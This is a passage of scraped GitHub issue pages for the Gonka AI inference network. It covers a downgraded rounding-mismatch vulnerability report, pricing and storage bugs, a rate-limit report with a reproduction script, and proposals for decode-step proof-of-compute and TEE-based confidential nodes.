The first option is safer — when in doubt, enforce the stricter threshold.
"}, {"location": "community/issues/01081-binomial-test-p0-floorceiling-mismatch-stricter-downtime-thr/#additional-finding-dynamic-pricing-intpart-truncation", "title": "Additional Finding: Dynamic Pricing IntPart Truncation", "text": "File: x/inference/keeper/dynamic_pricing.go:199-201
IntPart() truncates toward zero. When currentPrice is small (1-10), repeated multiplication by maxDecreasePerBlock (e.g., 0.98) produces decimals like 0.98, which truncates to 0. Price gets stuck at minPrice and can only recover at ~2% of minPrice per block.
Fix: Use Round(0) instead of IntPart().
File: x/inference/training/training_sync.go:588-593
SaveEpochState is called twice — first with full state, then with active-only filtered state. The second call overwrites the first, permanently deleting dropped node records. If a node reconnects, its activity record is gone.
Fix: Single save of merged state.
Payout address: gonka10zaal553duxp05nvfpqtsqrm2g0j6j34r8nan7
Reviewed the code paths. I believe this mismatch is not exploitable in the current codebase — here's why:
getDynamicP0 always returns an exact permille
getDynamicP0 (bitcoin_rewards.go:558) returns permilleToP0Decimal(finalPermille), where finalPermille is always one of the supported table values (50, 100, 200, 300, 400, 500) — produced by ceilToSupportedP0Permille.
permilleToP0Decimal(100) → Decimal{Value: 100, Exponent: -3} → exactly 0.100.
When MissedStatTest receives this value: 0.100 * 1000 = 100.0 → IntPart() = 100 → selects the correct table. Floor and ceiling are identical for exact permille values.
The bypass case is also safe
The only path where a non-rounded p0 reaches MissedStatTest is when governance sets BinomTestP0 > 0.500 (bitcoin_rewards.go:476 — returns the raw governance value). In that case, decimalToPermille returns -1 (unsupported), and MissedStatTest correctly falls back to the exact BinomialPValue computation (stats.go:96-101) — no table lookup involved.
The inconsistency is real, the exploit scenario is not
The two functions (decimalToPermille floor vs decimalToPermilleCeil ceil) do use different rounding, but because getDynamicP0 always snaps to an exact supported permille before returning, the floor/ceiling difference never manifests in practice. The described scenario (p0=0.1004 using different tables) cannot occur — getDynamicP0 would map 0.1004 to 0.200 before it ever reaches MissedStatTest.
Unifying the rounding functions is still reasonable as defensive hardening, but the severity should be Low (code smell) rather than High (active exploit).
@Doog-bot534 commented 2026-04-20 01:35 UTCThanks @unameisfine for the thorough walkthrough — you're right, and I've reverified against the code paths.
Confirmed on my side:
getDynamicP0 always returns permilleToP0Decimal(finalPermille) where finalPermille ∈ {50, 100, 200, 300, 400, 500} after ceilToSupportedP0Permille. The returned Decimal{Value: N, Exponent: -3} is exactly N/1000, so decimalToPermille (floor) produces the same permille as the ceiling-based selection — no mismatch reaches MissedStatTest.BinomTestP0 > 0.500 path returns the raw value, decimalToPermille returns -1, and MissedStatTest falls back to the exact BinomialPValue computation (stats.go:96-101). No table lookup, no rounding mismatch.msg_server_claim_rewards.go:264) uses raw governance BinomTestP0 but does not go through any ceiling-based selection, so the described divergence scenario also can't manifest there.The two rounding functions do diverge in isolation, but every production caller snaps to an exact permille before reaching the stat test. The exploit scenario as I described it is not reachable on current main.
Downgrading severity assessment to Low / code hygiene — unifying the rounding helpers would still be reasonable defensive cleanup, but this is not an active vulnerability. Closing to keep the queue clean. Apologies for the noise.
🔄 Auto-synced from Issue #1081 every hour.
"}, {"location": "community/issues/01086-p2-devshard-escrow-stats-collection-and-off-chain-stats-supp/", "title": "#1086 — [P2] Devshard escrow stats collection and off chain stats support", "text": "[P2] Devshard escrow stats collection and off chain stats support #1086 Open @tcharchian opened 2026-04-16 23:28 UTC 2 comments Updated 2026-07-07 23:28 UTC(empty)
"}, {"location": "community/issues/01086-p2-devshard-escrow-stats-collection-and-off-chain-stats-supp/#comments-2", "title": "💬 Comments (2)", "text": "@akup commented 2026-04-21 20:15 UTCIsn't it related PR? where something was already solved https://github.com/gonka-ai/gonka/pull/1001
and important questions on shard finalization were raised here: https://github.com/gonka-ai/gonka/pull/1000
@tcharchian commented 2026-04-29 21:03 UTC@GLiberman please respond @akup
🔄 Auto-synced from Issue #1086 every hour.
"}, {"location": "community/issues/01097-improve-api-response-for-non-existent-wallet/", "title": "#1097 — Improve API response for non-existent wallet", "text": "Improve API response for non-existent wallet #1097 Closed @tcharchian opened 2026-04-21 19:47 UTC 1 comment Updated 2026-04-22 22:21 UTCWhen querying a non-existent wallet via GET https://node3.gonka.ai/v1/participants/{address} the API currently returns a 500 Internal Server Error.
Expected Behavior If the wallet is not found, the API should return 404 Not Found instead of 500
Rationale A missing wallet is a valid client-side case, not a server error. Returning 404 improves API correctness and makes error handling more predictable for clients.
"}, {"location": "community/issues/01097-improve-api-response-for-non-existent-wallet/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2026-04-22 22:21 UTChttps://github.com/gonka-ai/gonka/pull/750
🔄 Auto-synced from Issue #1097 every hour.
"}, {"location": "community/issues/01098-devshards-postgres-support-for-devshard-storage/", "title": "#1098 — `devshards` Postgres support for `devshard` storage", "text": "`devshards` Postgres support for `devshard` storage #1098 Closed @akup opened 2026-04-21 20:36 UTC 3 comments Updated 2026-05-25 18:30 UTC"}, {"location": "community/issues/01098-devshards-postgres-support-for-devshard-storage/#problem", "title": "Problem", "text": "devshard/storage is sqlite-only today (storage/sqlite.go, modernc.org/sqlite). Running production devshards on embedded sqlite is the wrong default:
devshardd instance holds its own file, so nothing aggregates across hosts or across versions managed by versiond.decentralized-api (see decentralized-api/payloadstorage/, decentralized-api/statsstorage/); forcing a second on-box database in sqlite duplicates backup, monitoring, and retention setups.We want both backends behind a single interface, chosen at runtime the same way decentralized-api/payloadstorage does it.
Also we should prune the old epoch's devshard data
"}, {"location": "community/issues/01098-devshards-postgres-support-for-devshard-storage/#goals", "title": "Goals", "text": "devshard/storage.Storage as the sole interface consumed by devshard/host and the rest of the module; do not leak backend specifics into callers.< currentEpoch - 2RE
Hi, can i grab this one for couple of week ?
@tcharchian commented 2026-04-29 21:21 UTChttps://github.com/gonka-ai/gonka/pull/1126
@x0152 commented 2026-05-07 08:41 UTCClosed by #1145
🔄 Auto-synced from Issue #1098 every hour.
"}, {"location": "community/issues/01107-geb-29/", "title": "#1107 — GEB-29", "text": "GEB-29 #1107 Closed @tcharchian opened 2026-04-24 01:01 UTC 0 comments Updated 2026-04-24 22:49 UTC(empty)
🔄 Auto-synced from Issue #1107 every hour.
"}, {"location": "community/issues/01108-geb-61/", "title": "#1108 — GEB-61", "text": "GEB-61 #1108 Closed @tcharchian opened 2026-04-24 01:01 UTC 0 comments Updated 2026-04-24 22:48 UTC(empty)
🔄 Auto-synced from Issue #1108 every hour.
"}, {"location": "community/issues/01109-geb-62/", "title": "#1109 — GEB-62", "text": "GEB-62 #1109 Closed @tcharchian opened 2026-04-24 01:02 UTC 1 comment Updated 2026-04-27 18:41 UTC(empty)
"}, {"location": "community/issues/01109-geb-62/#comments-1", "title": "💬 Comments (1)", "text": "@x0152 commented 2026-04-24 09:04 UTC 1114🔄 Auto-synced from Issue #1109 every hour.
"}, {"location": "community/issues/01110-geb-60/", "title": "#1110 — GEB-60", "text": "GEB-60 #1110 Closed @tcharchian opened 2026-04-24 01:03 UTC 0 comments Updated 2026-04-29 23:32 UTCindependent of upgrade, to do before bridge deploy
🔄 Auto-synced from Issue #1110 every hour.
"}, {"location": "community/issues/01111-geb-59/", "title": "#1111 — GEB-59", "text": "GEB-59 #1111 Closed @tcharchian opened 2026-04-24 01:04 UTC 0 comments Updated 2026-04-29 23:31 UTC(empty)
🔄 Auto-synced from Issue #1111 every hour.
"}, {"location": "community/issues/01121-inference-v1chatcompletions-on-node3-returns-429-for-90-of-r/", "title": "#1121 — Inference /v1/chat/completions on node3 returns 429 for ~90% of requests — single live TA caps community gateways at ~10% pass-rate", "text": "Inference /v1/chat/completions on node3 returns 429 for ~90% of requests — single live TA caps community gateways at ~10% pass-rate #1121 Closed @unameisfine opened 2026-04-26 22:40 UTC 2 comments Updated 2026-05-21 21:03 UTC"}, {"location": "community/issues/01121-inference-v1chatcompletions-on-node3-returns-429-for-90-of-r/#summary", "title": "Summary", "text": "POST /v1/chat/completions on the only currently-reachable Transfer Agent (node3.gonka.ai) returns HTTP 429 \"rate limit exceeded\" for ~90% of requests, regardless of caller IP, key, or request shape. Other endpoints on the same host (/v1/identity, /v1/models) work normally.
This caps every public community-run gateway at a global ~10% pass-rate. On the gonka.pw monitor today this lines up roughly:
Provider 24h uptime p50 TTFTproxy-gonka-gg 94.6% 1064 ms andrey-panasenko-gateway 89.1% 1124 ms mingles-gateway 82.4% 1012 ms gonkagate 59.3% 3596 ms gate-joingonka-ai (mine) 3.7% 19729 ms The 19.7s p50 TTFT on our gateway is the giveaway: when a request does succeed, it's the second or third retry that goes through. The first attempt hangs for the SDK timeout (15s) before the next retry catches a brief window where the limiter passes.
"}, {"location": "community/issues/01121-inference-v1chatcompletions-on-node3-returns-429-for-90-of-r/#state-of-allowed_transfer_addresses", "title": "State ofallowed_transfer_addresses", "text": "$ curl -s \"$NODE/chain-api/productscience/inference/inference/params\" \\\n | jq -r '.params.transfer_agent_access_params.allowed_transfer_addresses'\n# 3 entries: node1, node2, node3\nnode1.gonka.ai:8000 — TCP timeout from anywhere we triednode2.gonka.ai:8000 — TCP timeout from anywhere we triednode3.gonka.ai — /v1/identity and /v1/models answer in ~150ms; only /v1/chat/completions is rate-limitedSo the network has effectively a single live TA for every public gateway, and that TA is rate-limiting the inference endpoint hard.
"}, {"location": "community/issues/01121-inference-v1chatcompletions-on-node3-returns-429-for-90-of-r/#reproduction", "title": "Reproduction", "text": "Anyone with gonka-openai SDK and any private key (signed transactions work, just won't bill correctly with a fresh key) can reproduce:
import { GonkaOpenAI } from 'gonka-openai';\nimport { randomBytes } from 'node:crypto';\n\nconst ep = {\n url: 'https://node3.gonka.ai/v1',\n transferAddress: 'gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5',\n};\n\nfor (let i = 0; i < 10; i++) {\n const client = await GonkaOpenAI.create({\n gonkaPrivateKey: randomBytes(32).toString('hex'),\n endpoints: [ep],\n timeout: 25000,\n maxRetries: 0,\n });\n const t0 = Date.now();\n try {\n await client.chat.completions.create({\n model: 'Qwen/Qwen3-235B-A22B-Instruct-2507-FP8',\n messages: [{ role: 'user', content: 'hi' }],\n max_tokens: 3,\n });\n console.log(i, 'OK', Date.now() - t0, 'ms');\n } catch (e) {\n console.log(i, e.status, e.message?.slice(0, 50), Date.now() - t0, 'ms');\n }\n await new Promise(r => setTimeout(r, 100));\n}\nResult on a clean local machine right now (10/10 → 429 in ~35-150 ms):
0 429 rate limit exceeded 191ms\n1 429 rate limit exceeded 39ms\n2 429 rate limit exceeded 37ms\n...\n9 429 rate limit exceeded 33ms\nA signed request with the same SDK but routed via a different participant's URL (non-TA, signed with that TA's address) returns 403 \"Transfer Agent not allowed\", which is expected.
We tried, on top of the standard gonka-openai flow:
httpAgent: { keepAlive: false } (no effect — SDK goes through globalThis.fetch, not node-fetch)setGlobalDispatcher(new undici.Agent({ keepAliveTimeout: 1 })) — no effectGonkaOpenAI client per retry attempt — sametimeout from 25s → 8s — only changes how fast the eventual 502 comes back, success rate stays at 0%We also wired up fetchNodeIdentity (delegate_ta) as a safety net so that whenever a TA starts publishing delegates, our pool auto-expands. Right now all 7 non-TA participants we probed return delegate_ta: null, so the SDK delegate path is effectively unused.
node3's /v1/chat/completions rate-limit configured globally (per endpoint), per-IP, or per Gonka address? Knowing the policy lets community gateways tune retry/concurrency against real numbers instead of guessing.node1 / node2 be brought back, or allowed_transfer_addresses expanded? With a single live TA the entire community-gateway layer has a hard ceiling well below what user demand needs.delegate_ta on /v1/identity? That's the cleanest fan-out story (one TA-address for billing, many participant URLs for actual inference) and it's already supported by the SDK — needs the participant side to opt in.proxy-gonka-gg consistently sits at >90% uptime with 1s TTFT. Is there a privileged path / private endpoint there that the rest of us can apply for? If yes, what's the process? If no — what does it do differently?gonka-openai@0.2.6 (latest on npm)https://gonka.pw/providers pulled at the time of writingHappy to share full request/response logs, sample failing transactions or any benchmark scripts on request.
"}, {"location": "community/issues/01121-inference-v1chatcompletions-on-node3-returns-429-for-90-of-r/#comments-2", "title": "💬 Comments (2)", "text": "@gonkalabs commented 2026-04-30 09:52 UTCHey @unameisfine - this is the GonkaLabs team.
To address your question about proxy.gonka.gg consistently sitting above 90% uptime: no, we don't have any special privileges on the network. Here's what's actually under the hood:
Smart TA rotation - we hop between Transfer Agents instead of pinning to a single one, so a slow or rate-limited TA never blocks the pipeline. A small upstream wallet pool (3 wallets) - purely for distributing signing load across multiple identities. It doesn't grant any special standing on the network; any user can do the same. Configuration tuned via an autoresearch loop - we ran a Karpathy-style trial-and-error loop on the proxy's configuration, optimizing for a single metric: percentage of successful chat completions. Once you have a clean metric, almost any system can be improved by iterating on it. So the answer is just: aggressive tuning, nothing more. Everything is open source at https://github.com/gonkalabs/opengnk — feel free to fork it and reproduce the same results.
@tcharchian commented 2026-05-21 21:03 UTC@unameisfine Please note that the Developer Quickstart has been significantly updated: https://gonka.ai/docs/developer/quickstart/ If you still have any questions after reviewing it, please create a new issue.
🔄 Auto-synced from Issue #1121 every hour.
"}, {"location": "community/issues/01135-poc-decode-proposal/", "title": "#1135 — PoC-decode proposal", "text": "PoC-decode proposal #1135 Open @Red-Caesar opened 2026-04-30 12:35 UTC 5 comments Updated 2026-05-23 01:49 UTC enhancement"}, {"location": "community/issues/01135-poc-decode-proposal/#poc-decode-extending-proof-of-compute-to-decode-steps", "title": "PoC-decode: Extending Proof-of-Compute to Decode Steps", "text": ""}, {"location": "community/issues/01135-poc-decode-proposal/#summary", "title": "Summary", "text": "The current PoC procedure only validates the prefill step, but in real inference the majority of computation happens during decode. PoC-decode extends validation to cover every decode step.
The core idea: before inference begins, a fixed set of k reference points is placed evenly on a unit sphere. At each decode step, a slice of the model's hidden state is projected onto this sphere. The nearest reference point is identified and its index (the k-point ID) is recorded. Because different models produce different hidden states, they will land near different reference points, producing a different sequence of k-point IDs.
The method includes both inference and validation modes, and was tested against honest (same model, different hardware) and fraud (different model) scenarios using Qwen2.5-7B.
See README for full details: theory, analysis, fraud resistance evaluation, and results.
"}, {"location": "community/issues/01135-poc-decode-proposal/#motivation", "title": "Motivation", "text": "Extends the Proof-of-Compute procedure to cover decode steps, bringing it closer to real inference workloads. Currently PoC only validates the prefill step, while in practice the majority of computation happens during decode.
"}, {"location": "community/issues/01135-poc-decode-proposal/#impact", "title": "Impact", "text": "Validation was performed using Qwen2.5-7B across 25 block hashes × 40 nonces × 256 decode steps:
Evidence and analysis: - Interactive 3D sphere projection - Notebooks: - analysis.ipynb - hidden state distributions, k-point statistics, parameter sweep - fraud-k-step.ipynb - verification that hardcoded k diverges from real inference - validation.ipynb - honest vs fraud mismatch scatter plots
--poc-decode flag enables the extended pipeline on the vLLM serverk=16 equidistant points.sphere_dim=256 dimensions from the hidden state, project onto the unit sphere, and find the nearest k-pointk_point_ids array alongside the normal inference outputAlternatives considered: - Fixed dimension indices per step - rejected because it leads to a skewed k-point distribution that is easier to exploit - Hardcoded k values - rejected; experiments confirm that hardcoded IDs consistently diverge from the real inference trajectory.
Open items: - CUDA graph support is required for decode performance; - The current sphere_dim=256 and k_points=16 configuration was chosen based on initial experiments; further parameter tuning is possible.
Implementation: axeltec-software/vllm @ axeltec/poc-decode-proposal
"}, {"location": "community/issues/01135-poc-decode-proposal/#comments-5", "title": "💬 Comments (5)", "text": "@unameisfine commented 2026-05-04 21:40 UTCNice work on the experimental validation — the honest-vs-fraud scatter plots are convincing for the 7B setup, and the seed-chaining between decode steps (using previous k-point ID to select next dimensions) is a solid anti-prediction measure.
A few implementation-level observations from the current PoC pipeline:
1. Integration with existing validation data pathCurrent PoC artifacts are compact: each PoCArtifactV2 carries a nonce + opaque vector bytes, and validation produces a single scalar distance compared via binomial test (pow/data.py:220-228, threshold PROBABILITY_MISMATCH = 5e-4).
Decode validation adds a k_point_ids array that grows linearly with sequence length. For Qwen3-235B at 4K+ output tokens, that is 4K+ integers per inference. A few questions worth addressing: - How does this array get transmitted? Embedded in the inference response alongside tokens, or via a separate PoC artifact channel? - Does the validator need to re-run the full autoregressive decode to verify? If yes, validation cost equals inference cost (currently the validator only does a single prefill pass).
The proposal flags this as an open item, but it is critical: vLLM relies heavily on CUDA graphs for decode throughput. Without graph support, decode latency can increase 2-5x, which would degrade inference quality during PoC and potentially trigger ExecutionTimeout (currently 1200s, governance-configurable via #1094).
Would be good to clarify whether the sphere projection can run as a post-hoc hook on captured activations (no graph break) vs requiring inline computation that breaks graphs.
3. Model generalizationExperiments use Qwen2.5-7B. Production runs Qwen3-235B-A22B (MoE, FP8). Two concerns: - MoE architectures route tokens through different expert subsets — hidden state distributions may vary more between runs of the same model on same hardware (higher honest-mismatch baseline). - FP8 quantization introduces hardware-dependent rounding. The sphere_dim=256 projection might amplify these differences. Is there data on how the honest-mismatch rate scales with model size and quantization?
Current PoCValidationV2 (poc_v2.proto) returns a single validated_weight per participant. Decode validation would need either: - A new message type carrying per-inference mismatch stats, or - Aggregation into the existing weight (e.g., penalize weight proportional to decode mismatch rate)
The SPRT framework (sprt_precompute.go) currently tracks invalidation/inactivity log-likelihood ratios. Decode mismatches could feed into the same SPRT accumulator if the mismatch metric is designed as a binary pass/fail per inference.
k=16 points on a unit sphere in sphere_dim=256 space — the points are extremely sparse (surface area per Voronoi cell is huge). This means small perturbations in hidden states (honest variation) are unlikely to cause mismatches, which is good for low false-positive rate. But it also means a fraud model only needs to land in the correct Voronoi cell, not reproduce the exact activation — potentially leaving room for approximate-fraud models that are \"close enough.\"
Is there analysis of the detection threshold as a function of k? What happens at k=64 or k=256 — does fraud detection improve without honest-mismatch degradation?
Overall a promising direction — extending PoC to decode is clearly the right move for covering real workloads. The main blockers look like CUDA graph support and the validation cost question (does the validator need full autoregressive decode?).
@Red-Caesar commented 2026-05-21 08:24 UTCSorry for the delayed reply.
On CUDA graph support: this is indeed a critical concern. We are currently investigating options for it.
On model generalization and honest-mismatch rates: we've collected mismatch data for Qwen3-235B on A100 and are in the process of collecting on H100 as well.
@gmorgachev commented 2026-05-21 12:20 UTChi @unameisfine !
Does the validator need to re-run the full autoregressive decode to verify? If yes, validation cost equals inference cost (currently the validator only does a single prefill pass).
During the current PoC Generation and Validation have exact cost per nonce (the both only prefill). But validators do validate only random sample from generated nonces. That's main mechanism to make validation cheaper
Here are the results for h100
@unameisfine commented 2026-05-23 01:49 UTCThanks — went through vllm/poc/poc_model_runner.py. Confirmed: SPHERE_DIM=256, SPHERE_POINTS=16 (L39-40), codebook built once via Thomson-problem gradient descent, nearest_sphere_index = cosine-similarity argmax. Validation flow uses inference_k_points_steps to drive both the next decode embedding (generate_decode_inputs at L474) and the per-step dim subset (random_pick_indices at L507) — with the host's reference k used in place of the validator's own — so honest validator and host run computationally identical forward passes; only hardware/precision noise diverges. That sharpens a couple of things:
@gmorgachev on validation cost — the validator does real prefill + sequential decode (L466-538, CUDAGraphMode.NONE hardcoded), so per-nonce cost ≈ full inference cost. Sampling nonces trims the count, not the per-nonce cost. One cheaper option exists in principle: the decode inputs are deterministic functions of (block_hash, public_key, nonce, prev_k, step), and in validation the full prev_k chain is given upfront via inference_k_points_steps — so all decode embeddings can be precomputed and concatenated into one parallel prefill pass instead of D sequential steps. Tradeoff: decode and prefill kernels don't yield bit-identical hidden states (GEMV vs GEMM, KV-cache vs full-prefill attention, accumulation order) — that delta adds to the honest-mismatch baseline. Truncating is gameable.
(Side note: CUDAGraphMode.NONE is currently hardcoded on the PoC path — that's the production-blocker concern from earlier, still active in code.)
On point 4 / SPRT — withdrawn. Was assuming continuous-PoC scope; if it's pure PoC-replacement, existing weight aggregation is enough.
@Red-Caesar — the A100↔A100 vs A100↔H100 agreement (~15 in both) falls out of the design more than the hardware. Both runs project from the same host-seeded 256-dim subset against a 16-point codebook (huge Voronoi cells per point), so most of the FP8-dequant/hardware delta in the hidden state stays inside the same cell — honest mismatch ends up ~the same regardless of which hardware combo you pair. Good for a heterogeneous fleet.
The flip side of the same mechanism sets the fraud-detection floor. INT4-W4A16 vs FP8 (~52) is well outside the cells; a near-miss (same base model at FP8 vs FP8-dynamic, or a sibling fine-tune) whose hidden-state delta is comparable to hardware noise would stay inside the cells the same way honest cross-hardware does, and look honest. Detection works when delta_fraud >> delta_hardware; the cell size sets the boundary, not the metric per se.
A separation sweep over SPHERE_POINTS × fraud-model distance would surface where that floor sits. Bumping SPHERE_POINTS from 16 to 64/256 (the build_equidistant_codebook call already takes it as a parameter) tightens cells and raises the floor at some honest-mismatch cost — the parameter-sensitivity question from earlier, now with the cross-hardware data anchoring the tradeoff.
🔄 Auto-synced from Issue #1135 every hour.
"}, {"location": "community/issues/01167-devshards-optimizations-for-v0213-db-usage/", "title": "#1167 — `devshards` Optimizations for v0.2.13 db usage", "text": "`devshards` Optimizations for v0.2.13 db usage #1167 Closed @akup opened 2026-05-14 15:47 UTC 1 comment Updated 2026-07-20 04:54 UTCDuring review of https://github.com/gonka-ai/gonka/pull/1143 there was found optimization points for db usage:
Do not lock around createSession (https://github.com/gonka-ai/gonka/pull/1143#discussion_r3200794751)
Add migration point to remove CREATE TABLE IF NOT EXIST from hot paths (https://github.com/gonka-ai/gonka/pull/1143#discussion_r3200930890, https://github.com/gonka-ai/gonka/pull/1143#discussion_r3205286743)
Neat like this: https://github.com/gonka-ai/gonka/pull/1143#discussion_r3201178940, https://github.com/gonka-ai/gonka/pull/1143#discussion_r3205419993
Optimize pruning (do not call every 30 seconds): https://github.com/gonka-ai/gonka/pull/1143#discussion_r3212576442
Do not create SQLite base for each session when Postgres is available (https://github.com/gonka-ai/gonka/pull/1143#discussion_r3205241993)
Snapshots in protobuf instead of json (https://github.com/gonka-ai/gonka/pull/1143#discussion_r3202629755)
It could be added in one PR for devshard realease. Should be merged with https://github.com/gonka-ai/gonka/pull/1162
"}, {"location": "community/issues/01167-devshards-optimizations-for-v0213-db-usage/#comments-1", "title": "💬 Comments (1)", "text": "@a-kuprin commented 2026-07-20 04:54 UTCClosing by https://github.com/gonka-ai/gonka/pull/1482
🔄 Auto-synced from Issue #1167 every hour.
"}, {"location": "community/issues/01169-bug-a-short-specific-searchable-title/", "title": "#1169 — [BUG] A short, specific, searchable title.", "text": "[BUG] A short, specific, searchable title. #1169 Open @akamitch opened 2026-05-15 13:51 UTC 0 comments Updated 2026-05-15 13:54 UTC bug🔄 Auto-synced from Issue #1169 every hour.
"}, {"location": "community/issues/01169-bug-a-short-specific-searchable-title/#governance-dashboard-differend-numbers-in-panel-and-chart", "title": "Governance dashboard: Differend numbers in panel and chart", "text": ""}, {"location": "community/issues/01169-bug-a-short-specific-searchable-title/#summary", "title": "Summary", "text": "http://gonka.spv.re:8000/dashboard/gonka/gov/51 On tab Votes, i put mouse over chart and see that numbers Yes\\No\\Veto\\Abstain are differend from numbers in panel above
"}, {"location": "community/issues/01169-bug-a-short-specific-searchable-title/#motivation", "title": "Motivation", "text": "Hosts can't understood which numbers are correct
"}, {"location": "community/issues/01169-bug-a-short-specific-searchable-title/#impact", "title": "Impact", "text": "Dashboard customers
"}, {"location": "community/issues/01169-bug-a-short-specific-searchable-title/#detailed-description", "title": "Detailed description", "text": ""}, {"location": "community/issues/01173-tee-implementation/", "title": "#1173 — TEE Implementation", "text": "TEE Implementation #1173 Open @tcharchian opened 2026-05-16 06:45 UTC 3 comments Updated 2026-07-04 13:32 UTC up-for-grabs protocol"}, {"location": "community/issues/01173-tee-implementation/#discussed-in-httpsgithubcomgonka-aigonkadiscussions951", "title": "Discussed in https://github.com/gonka-ai/gonka/discussions/951", "text": "Originally posted by **mtvnastya** March 25, 2026 # TEE This proposal outlines the integration of Trusted Execution Environments (TEE) into the Gonka network architecture. By leveraging hardware-level isolation (Intel TDX, AMD SEV-SNP, NVIDIA Confidential Compute), we can protect user payloads and inference data from the physical hosts/miners, enabling true \"Confidential MLNodes.\" This document proposes changes to the node registry, validation pipeline, and economic incentives. ## Problem Currently, user requests data sent to the Gonka network is hidden from the public but transparent to the specific host (miner) executing and validating the workload. Even with off-chain payloads, a malicious operator with physical access to the machine can access the data by using custom binaries or modifying the execution environment. For enterprise and privacy-sensitive adoption, trust in the protocol must supersede trust in the hardware operator. ## Proposal We propose a new node class: the Confidential MLNode. This node operates within a TEE, isolating the full Virtual Machine (VM) from the hypervisor. Supported CPUs: - Intel TDX: https://www.intel.com/content/www/us/en/developer/tools/trust-domain-extensions/overview.html - AMD SEV-SNP: https://www.amd.com/en/developer/sev.html Both technologies support attaching NVIDIA GPUs with Confidential Compute: - https://docs.nvidia.com/nvidia-secure-ai-with-blackwell-and-hopper-gpus-whitepaper.pdf A VM with an attached GPU can encrypt all in-memory data, data transferred to the GPU, and data in GPU memory from the hypervisor. By carefully modifying how MLNode works with data: - Inferences are decrypted only in-memory - No sensitive data is written to disk - No open TCP ports are used for unencrypted data transfer - No sensitive data appears in logs The full inference pipeline can be protected from both the host/miner and the hypervisor (server owner in the case of rented servers). Using a temporary public key generated by the TEE-protected MLNode enables end-to-end data encryption without any decrypted data existing in unprotected memory. ## Architecture Upgrade ### MLNode - VM with MLNode is launched from an image with metadata saved on-chain (model embedded). Full MLNode behavior is defined by its REST API - VM generates a key pair for data encryption/decryption - VM provides an attestation certificate signed by the CPU's hardware module. The signed data includes: - Hardware information - GPU information, including Confidential Compute enabled, exclusive access to GPU, and GPU attestation - Exact VM metadata - Public key from generated key pair - Proof that VM launched from correct entrypoint (target application) Note: If the VM is restarted or the image is replaced, the private key will be lost. - Host publishes this certificate on-chain **Open Question 1:** Should the certificate be validated on-chain? All requests to the Confidential MLNode are encrypted using the public key from the certificate. --- Relevant materials: Framework to simplify TEE deployment: - https://github.com/Dstack-TEE/dstack Insightful paper about NVIDIA Confidential Compute: - https://arxiv.org/pdf/2507.02770 ### Network Node #### 1. New MLNode Type Confidential MLNode with a separate pipeline for scheduling inferences. These nodes do not require inference validation. Confidential MLNodes have an associated attestation certificate and public key. #### 2. Certificate Validation Requirements for certificate validation: - Publishing certificates to the blockchain - Maintaining Intel and AMD root certificates (Root of Trust keys) for verification - Maintaining a list of secure software versions and excluded (untrusted) certificates **Open Question 2:** Should full certificate validation be performed on-chain? Probably yes, on recording. #### 3. Inference Pipeline Current `/chat/completions` request flow:Dev -> Transfer Agent (Network Node) -> Executor (Network Node) -> Executor (MLNode)\nSome first experiments on this in #1246 - covers the wiring end-to-end (chain, dapi, ml-node, devshard) + a Phala CVM smoke test
Not a final implementation, but should give a head start
@mkostrus-gif commented 2026-07-02 19:00 UTCStrong +1 for prioritizing this.
My blocker is practical, not theoretical: I run AI agents over private operational context, and I cannot route real prompts/responses through Gonka while the selected host can read them. Privacy sanitization is useful as a temporary guardrail, but it does not solve the core threat model.
The feature I would actually use is an attested private inference path: client-verifiable Confidential MLNode/TEE, encrypted prompts and responses, and no sensitive payloads in host-readable logs or disk.
I'm happy to help test an MVP and provide acceptance criteria from real agent workloads. Is there a current roadmap after #1246 for the next milestone where users can help validate it?
@x0152 commented 2026-07-04 13:32 UTCHi, thanks for the message!
1246 is a first experiments PR - it connects the private path across chain, dapi and ml-node, with a Phala TDX smoke test. It's not the MVP yet, still some work before we can really test itRough plan (from my mind): - Review and land #1246 as the base - Add dual attestation (intel-tdx + nvidia-cc) so the GPU side is covered too, not just the CPU - Do a full end-to-end run on a localtestnet with real Intel TDX + NVIDIA CC hardware (Phala Cloud is probably the easiest for that)
Just note the MVP is only to show how this can be integrated - not a secure, production-ready version yet. It's just a first direction to build on
Maybe you could start with reviewing #1246 and let me know what you think? From there we can discuss the next steps. And if you have any questions, feel free to ask
🔄 Auto-synced from Issue #1173 every hour.
"}, {"location": "community/issues/01178-no-available-public-kimi-k26-inference-gateways/", "title": "#1178 — No available public Kimi-K2.6 inference gateways", "text": "No available public Kimi-K2.6 inference gateways #1178 Closed @sspotanin opened 2026-05-17 06:11 UTC 1 comment Updated 2026-05-18 10:50 UTC"}, {"location": "community/issues/01178-no-available-public-kimi-k26-inference-gateways/#summary", "title": "Summary", "text": "As of 2026-05-17T06:10:54Z, public monitoring shows zero available Kimi-K2.6 gateways, even though the chain still lists Kimi hosts.
"}, {"location": "community/issues/01178-no-available-public-kimi-k26-inference-gateways/#observed", "title": "Observed", "text": "From https://gonka.pw/providers:
monitored_providers=12\nkimi_monitored=6\nkimi_up=0\nandrey-panasenko-gateway-kimi-k26: down, lastError=Probe request timed out before the provider returned a complete response.\ngonkagate-kimi-k26: down, lastError=Performance probe was inconclusive because the provider was temporarily unavailable.\ngate-joingonka-ai-kimi-k26: down, lastError=Performance probe was inconclusive because the provider was temporarily unavailable.\ngonka-api-org-kimi-k26: down, lastError=fetch failed\nmingles-gateway-kimi-k26: down\nproxy-gonka-gg-kimi-k26: down\nFrom https://gonka.pw/incidents:
active_incidents=7\nKimi-related active incidents include temporarily unavailable, health probes failing, timeouts before complete response, and fetch failed.\nFrom on-chain participants via http://node2.gonka.ai:8000/v1/epochs/current/participants:
height=4105642\nactive_participants=48\nkimi_hosts=8\nmodels=[{\"model\":\"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\",\"hosts\":42},{\"model\":\"moonshotai/Kimi-K2.6\",\"hosts\":8}]\nAt least one public Kimi-K2.6 inference route should be available, or there should be a clear public status/update explaining the outage.
